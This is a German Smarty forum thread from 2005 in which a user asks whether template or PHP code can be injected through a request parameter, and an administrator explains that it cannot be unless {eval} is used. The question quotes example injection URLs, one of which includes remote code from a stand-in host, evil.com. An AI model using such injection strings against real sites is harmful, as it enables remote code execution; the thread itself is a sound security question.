Smarty Forum Index Smarty
WARNING: All discussion is moving to https://reddit.com/r/smarty, please go there! This forum will be closing soon.

Frage zur Sicherheit

 
This forum is locked: you cannot post, reply to, or edit topics.   This topic is locked: you cannot edit posts or make replies.    Smarty Forum Index -> Language: German
View previous topic :: View next topic  
Author Message
enjaxx
Smarty n00b


Joined: 07 Feb 2005
Posts: 2

PostPosted: Mon Feb 07, 2005 9:20 pm    Post subject: Frage zur Sicherheit Reply with quote

Hallo Leute,

bin seit einigen Tagen begeisterter Nutzer von Smarty, habe aber noch 1-2 Fragen zur Sicherheit:

1. Ist es möglich, über einen Request Smarty- oder PHP-Code in die Tempaltes einzuschleusen? Beispiel:

Aufruf:
http://www.test.com/test.php?test={php}phpinfo();{/php}

test.php:
Code:

  $smarty->assign("ausgabe",$_GET["test"]);
  $smarty->display("template.tpl");

template.tpl:
Code:

<html>
  <body>
    {$ausgabe}
  </body>
</html>


Das "phpinfo()" wird nicht ausgeführt, das habe ich schon getestet, ich würde nur gerne wissen, ob das so "normal" ist, oder mein Server so eingestellt ist. Verhindert Smarty das Parsen von zugewiesenen Variablen selbst, oder muss ich beim Zuweisen (assign) darauf achten, dass der zugewiesene Inhalt "sauber" ist?

2. Dasselbe Szenrio, nur ohne PHP-Tags:

http://www.test.com/test.php?test={include_php}http://www.evil.com/bad_code.php{/include_php}

Die $security-Einstellungen dienen, soweit ich verstanden habe, dazu, böswillige Template-Ersteller einzuschränken. Wenn ich keine solchen habe, muss ich trotzdem auf etwas achten, wie z.B. auf die obige Fälle?

Danke für die Hilfe!

Gruss

enjaxx
Back to top
View user's profile Send private message
messju
Administrator


Joined: 16 Apr 2003
Posts: 3336
Location: Oldenburg, Germany

PostPosted: Mon Feb 07, 2005 9:40 pm    Post subject: Reply with quote

nein, das ist so nicht möglich.

nur wenn du {eval} verwendest (was ohnehin verboten gehört und selten einen mehrwert bietet) musst du auf solche dinge achten.

du musst natürlich darauf achten cross-site-scripting auszuschliessen und richtiges (je nach context) escaping/encoding deiner ausgaben sicherzustellen.
Back to top
View user's profile Send private message Send e-mail Visit poster's website
enjaxx
Smarty n00b


Joined: 07 Feb 2005
Posts: 2

PostPosted: Wed Feb 09, 2005 11:57 am    Post subject: Reply with quote

messju wrote:
nein, das ist so nicht möglich.


Super, danke für die schnelle Hilfe. Smile

Gruss

enjaxx
Back to top
View user's profile Send private message
Display posts from previous:   
This forum is locked: you cannot post, reply to, or edit topics.   This topic is locked: you cannot edit posts or make replies.    Smarty Forum Index -> Language: German All times are GMT
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum


Powered by phpBB © 2001, 2005 phpBB Group
Protected by Anti-Spam ACP